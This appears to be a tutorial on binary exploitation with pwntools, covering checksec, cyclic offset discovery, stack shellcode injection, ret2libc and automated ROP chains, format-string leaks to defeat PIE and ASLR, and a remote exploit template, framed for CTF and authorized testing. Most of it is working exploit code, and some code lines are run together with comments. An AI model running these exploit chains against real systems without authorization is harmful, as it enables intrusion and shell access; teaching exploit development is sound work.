Analyze binary exploitation techniques including buffer overflows and ROP chains using pwntools Python library. Covers checksec analysis, gadget discovery with ROPgadget, and exploit development for CTF and authorized security assessments.
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Analyze binary exploitation techniques including buffer overflows and ROP chains using pwntools Python library. Covers checksec analysis, gadget discovery with ROPgadget, and exploit development for CTF and authorized security assessments.
For authorized security testing and CTF challenges only.
Analyze ELF binaries for exploitation vectors using checksec, ROPgadget,
and pwntools for buffer overflow and ROP chain development.
When to Use
Analyzing ELF binaries during authorized penetration tests to identify memory corruption vulnerabilities
Solving binary exploitation challenges in CTF competitions
Evaluating the effectiveness of compiler mitigations (NX, ASLR, stack canaries, PIE, RELRO) on target binaries
Developing proof-of-concept exploits for vulnerability reports to demonstrate impact
Training security engineers in exploit development techniques for defensive awareness
Validating that security patches for buffer overflow vulnerabilities are effective
Do not use against systems without explicit written authorization. Binary exploitation techniques can cause system instability and must only be applied in controlled environments (lab VMs, CTF platforms, authorized pentests with scope documents).
Most Often Missed & How to Confirm
Skipped checksec truth-check: people trust the label and miss that "Partial RELRO + No canary" enables GOT overwrite, or that a stack canary forces a leak-first strategy. Confirm mitigations by reading the actual ELF (elf.canary, elf.nx, elf.pie, elf.relro) AND cat /proc/sys/kernel/randomize_va_space, not assumptions.
Wrong offset due to architecture/alignment: a guessed padding length silently fails. Confirm the exact offset by crashing with cyclic() then cyclic_find() on the value actually in RIP/EIP (read it from the corefile or GDB), never by eyeballing.
The classic movaps SIGSEGV: 64-bit system() crashes on a misaligned stack. Confirm by single-stepping to the call; if it faults at a movaps/movdqa, add one extra ret gadget to 16-byte-align RSP.
libc version mismatch: a ret2libc chain works locally but fails remote because offsets differ. Confirm the remote libc via a leak (puts@GOT) fed to a libc database (libc.rip/one_gadget) before trusting symbol offsets.
Bad-byte truncation: payloads die because \x00, \x0a, or \xff get filtered by the input function. Confirm the bad-char set by sending a full byte-range buffer and diffing what lands in memory under GDB.
"It crashed" ≠ "it's exploitable": a SIGSEGV may be a non-controllable read fault. Confirm control by showing RIP holds attacker bytes and demonstrating a deterministic primitive (shell spawn, file read, or controlled write) — capture the id/cat flag output as proof.
Prerequisites
Linux system (Ubuntu/Debian recommended) for exploit development
Python 3.8+ with pwntools (pip install pwntools)
GDB with pwndbg or GEF plugin for enhanced debugging
ROPgadget for ROP chain gadget discovery (pip install ROPgadget)
checksec (included with pwntools or standalone via apt install checksec)
Target vulnerable binary compiled for testing (e.g., from pwnable.kr, ROP Emporium, or custom test binaries)
Basic understanding of x86/x86_64 calling conventions and stack layout
Before writing any exploit, enumerate the security mitigations compiled into the binary:
from pwn import *
# Load the target binary
binary_path = "./vulnerable_server"
elf = ELF(binary_path)
# checksec output explains what mitigations are in placeprint(f"Architecture: {elf.arch}")
print(f"Bits: {elf.bits}")
print(f"Endianness: {elf.endian}")
print()
# Key security properties# RELRO: Full = GOT is read-only, Partial = GOT header read-only, No = writable GOT# Stack Canary: Detects stack buffer overflows via random canary value# NX (No-eXecute): Prevents executing code on the stack (DEP)# PIE: Position Independent Executable, randomizes base address# ASLR: OS-level address randomization (check /proc/sys/kernel/randomize_va_space)# Also available via command line:# checksec --file=./vulnerable_server
# Command-line checksec output example:
checksec --file=./vulnerable_server
# RELRO STACK CANARY NX PIE# Partial RELRO No canary found NX disabled No PIE# Check ASLR status on the systemcat /proc/sys/kernel/randomize_va_space
# 0 = disabled, 1 = conservative, 2 = full randomization
Step 3: Find the Buffer Overflow Offset
Determine exactly how many bytes are needed to overwrite the return address:
from pwn import *
context.binary = ELF("./vulnerable_server")
context.log_level = "info"# Method 1: Use cyclic pattern to find exact offset# Generate a unique cyclic pattern
pattern_length = 200
pattern = cyclic(pattern_length)
print(f"Generated cyclic pattern of length {pattern_length}")
# Send the pattern to the binary
p = process("./vulnerable_server")
p.sendline(pattern)
p.wait()
# After the crash, read the value in RIP/EIP from core dump or GDB# Then find the offset:# For 64-bit: crashed_value = p.corefile.fault_addr# Or manually from GDB: "info registers rip" after crash
crashed_rip = 0x6161616c# Example value from crash
offset = cyclic_find(crashed_rip)
print(f"Offset to return address: {offset} bytes")
# Method 2: Use GDB with pwndbg to find offset interactively# In GDB:# pwndbg> cyclic 200# pwndbg> run < <(python3 -c "from pwn import *; print(cyclic(200).decode())")# pwndbg> cyclic -l $rsp (or cyclic -l <value in RIP>)
Step 4: Exploit a Stack Buffer Overflow (NX Disabled)
When NX is disabled, inject and execute shellcode directly on the stack:
from pwn import *
# Configuration
binary_path = "./vulnerable_server"
context.binary = ELF(binary_path)
context.arch = "amd64"# or "i386" for 32-bit
OFFSET = 72# Determined in Step 3# Generate shellcode# execve("/bin/sh", NULL, NULL) - spawn a shell
shellcode = asm(shellcraft.sh())
print(f"Shellcode length: {len(shellcode)} bytes")
# Build the exploit payload# Layout: [NOP sled] [shellcode] [padding] [return address -> NOP sled]
nop_sled = asm("nop") * 32# For a local exploit without ASLR, we can estimate the buffer address# Run in GDB first to find the buffer address:# break *main+XX (after read/gets call)# x/20x $rsp
buffer_addr = 0x7fffffffe000# Example - get from GDB
padding_len = OFFSET - len(nop_sled) - len(shellcode)
payload = nop_sled + shellcode + b"A" * padding_len + p64(buffer_addr)
# Launch exploit
p = process(binary_path)
p.sendline(payload)
p.interactive() # Interact with the spawned shell
# Find ROP gadgets in the binary
ROPgadget --binary ./vulnerable_server
# Find specific gadgets
ROPgadget --binary ./vulnerable_server --only "pop|ret"
ROPgadget --binary ./vulnerable_server --only "mov|ret"# Search for gadgets to control registers for syscall
ROPgadget --binary ./vulnerable_server | grep "pop rdi"
ROPgadget --binary ./vulnerable_server | grep "pop rsi"
ROPgadget --binary ./vulnerable_server | grep "pop rdx"
ROPgadget --binary ./vulnerable_server | grep "syscall"# Find gadgets in libc (for ret2libc attacks)
ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 --only "pop|ret" | head -20
from pwn import *
binary_path = "./vulnerable_server"
elf = ELF(binary_path)
context.binary = elf
OFFSET = 72# Method 1: ret2libc - call system("/bin/sh") via libc# When the binary is dynamically linked and we know libc version
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
# Start process to leak libc address
p = process(binary_path)
# If there is a format string or info leak, use it to find libc base# Example: binary prints puts@GOT address
p.recvuntil(b"puts address: ")
puts_leak = int(p.recvline().strip(), 16)
libc.address = puts_leak - libc.symbols["puts"]
log.success(f"libc base: {hex(libc.address)}")
# Find a "pop rdi; ret" gadget for x86_64 calling convention# First argument goes in RDI register
pop_rdi = elf.search(asm("pop rdi; ret")).__next__()
ret_gadget = elf.search(asm("ret")).__next__() # Stack alignment# Build the ROP chain: system("/bin/sh")
bin_sh_addr = next(libc.search(b"/bin/sh\x00"))
system_addr = libc.symbols["system"]
rop_chain = flat(
b"A" * OFFSET, # Padding to reach return address
ret_gadget, # Stack alignment (needed for movaps in system)
pop_rdi, # pop rdi; ret - load /bin/sh address into RDI
bin_sh_addr, # Address of "/bin/sh" string in libc
system_addr, # Call system()
)
p.sendline(rop_chain)
p.interactive()
Step 6: Use pwntools ROP Helper for Automated Chain Building
from pwn import *
binary_path = "./vulnerable_server"
elf = ELF(binary_path)
context.binary = elf
OFFSET = 72# pwntools automatic ROP chain builder
rop = ROP(elf)
# If the binary has enough gadgets, pwntools can build chains automatically# For execve("/bin/sh", 0, 0) syscall:
rop.call("puts", [elf.got["puts"]]) # Leak GOT entry
rop.call(elf.symbols["main"]) # Return to main for second stage# Print the ROP chain for debuggingprint(rop.dump())
# Build first-stage payload (leak libc)
stage1 = flat(
b"A" * OFFSET,
rop.chain()
)
p = process(binary_path)
p.sendline(stage1)
# Parse the leaked puts address
p.recvuntil(b"\n") # Skip program output
leaked_puts = u64(p.recvline().strip().ljust(8, b"\x00"))
log.success(f"Leaked puts@GOT: {hex(leaked_puts)}")
# Calculate libc base
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
libc.address = leaked_puts - libc.symbols["puts"]
log.success(f"libc base: {hex(libc.address)}")
# Build second-stage ROP chain using libc gadgets
rop2 = ROP(libc)
rop2.call("execve", [next(libc.search(b"/bin/sh\x00")), 0, 0])
stage2 = flat(
b"A" * OFFSET,
rop2.chain()
)
p.sendline(stage2)
p.interactive()
Step 7: Debug Exploits with GDB and pwndbg
from pwn import *
binary_path = "./vulnerable_server"
elf = ELF(binary_path)
context.binary = elf
context.terminal = ["tmux", "splitw", "-h"] # or ["gnome-terminal", "--"]# Launch binary under GDB with pwndbg
p = gdb.debug(binary_path, """
# Set breakpoints at key locations
break *main
break *main+85
# Continue to the vulnerable function
continue
""")
# GDB commands useful during exploit development:# pwndbg> vmmap - Show memory mappings (find stack, heap, libc)# pwndbg> checksec - Show binary protections# pwndbg> search -s "/bin/sh" - Find string in memory# pwndbg> rop --grep "pop rdi" - Search for gadgets# pwndbg> cyclic 200 - Generate cyclic pattern# pwndbg> cyclic -l 0x616161 - Find offset from pattern value# pwndbg> telescope $rsp 20 - Show stack contents# pwndbg> x/20gx $rsp - Examine stack as 64-bit values# pwndbg> heap - Analyze heap state# pwndbg> got - Show GOT entries and resolved addresses# pwndbg> plt - Show PLT entries
OFFSET = 72
payload = b"A" * OFFSET + p64(0xdeadbeef)
p.sendline(payload)
p.interactive()
Step 8: Handle PIE and ASLR with Information Leaks
from pwn import *
binary_path = "./vulnerable_pie_binary"
elf = ELF(binary_path)
context.binary = elf
# When PIE is enabled, we need to leak a code address to defeat randomization# Common leak techniques:# 1. Format string vulnerability: %p to leak stack/code pointers# 2. Partial overwrite: overwrite only lower bytes of a pointer# 3. Uninitialized memory: read stack memory containing code pointers
p = process(binary_path)
# Example: Using a format string leak to defeat PIE# If the binary has a printf(user_input) vulnerability:
p.sendline(b"%p.%p.%p.%p.%p.%p.%p.%p.%p.%p")
leak_output = p.recvline().strip().decode()
leaked_addrs = leak_output.split(".")
# Parse leaked addresses to find a code pointerfor i, addr inenumerate(leaked_addrs):
try:
val = int(addr, 16)
# PIE binaries typically load at 0x55XXXXXXXXXX on 64-bitif0x550000000000 <= val <= 0x560000000000:
log.info(f"Offset {i}: {addr} (likely PIE code address)")
# libc addresses typically at 0x7fXXXXXXXXXXelif0x7f0000000000 <= val <= 0x800000000000:
log.info(f"Offset {i}: {addr} (likely libc address)")
except ValueError:
continue# Once we have a leaked PIE address, calculate the binary base
leaked_code_addr = int(leaked_addrs[5], 16) # Example offset
elf.address = leaked_code_addr - elf.symbols["main"] # Adjust for known offset
log.success(f"PIE base: {hex(elf.address)}")
# Now we can use absolute addresses in our ROP chain
rop = ROP(elf)
# ... build chain using elf.symbols which are now correctly rebased
Step 9: Exploit a Remote Target
from pwn import *
# Configuration
REMOTE_HOST = "target.ctf.example.com"
REMOTE_PORT = 9001
binary_path = "./vulnerable_server"
elf = ELF(binary_path)
context.binary = elf
defexploit(target):
"""Run the full exploit chain against a target (local or remote)."""
OFFSET = 72# Stage 1: Leak libc
rop1 = ROP(elf)
rop1.call("puts", [elf.got["puts"]])
rop1.call(elf.symbols["main"])
payload1 = flat(b"A" * OFFSET, rop1.chain())
target.sendlineafter(b"Input: ", payload1)
leaked = u64(target.recvline().strip().ljust(8, b"\x00"))
log.success(f"Leaked puts: {hex(leaked)}")
# Stage 2: ret2libc
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
libc.address = leaked - libc.symbols["puts"]
rop2 = ROP(libc)
rop2.call("execve", [next(libc.search(b"/bin/sh\x00")), 0, 0])
payload2 = flat(b"A" * OFFSET, rop2.chain())
target.sendlineafter(b"Input: ", payload2)
target.interactive()
# Test locally first
log.info("Testing exploit locally...")
local = process(binary_path)
exploit(local)
# Then run against remote target# log.info("Running exploit against remote target...")# remote = remote(REMOTE_HOST, REMOTE_PORT)# exploit(remote)
Verification
Confirm checksec correctly identifies all binary mitigations (NX, canary, PIE, RELRO) and results match manual inspection
Verify the cyclic pattern offset finder produces the correct offset by setting a breakpoint at the ret instruction and confirming RIP/EIP contains the expected cyclic value
Test shellcode payloads execute correctly in a controlled environment with NX disabled
Validate ROP chains by single-stepping through gadgets in GDB to confirm register values are set correctly before the final syscall/function call
Confirm the exploit works both locally (process()) and against a remote target (remote()) when the correct libc version is used
Verify that PIE bypass correctly rebases all addresses by checking GDB vmmap output against calculated addresses
Test that the exploit fails gracefully when mitigations are re-enabled (confirms the exploit targets the correct weakness)
Run ROPgadget output through a deduplication filter to confirm all referenced gadgets exist at the specified offsets in the target binary
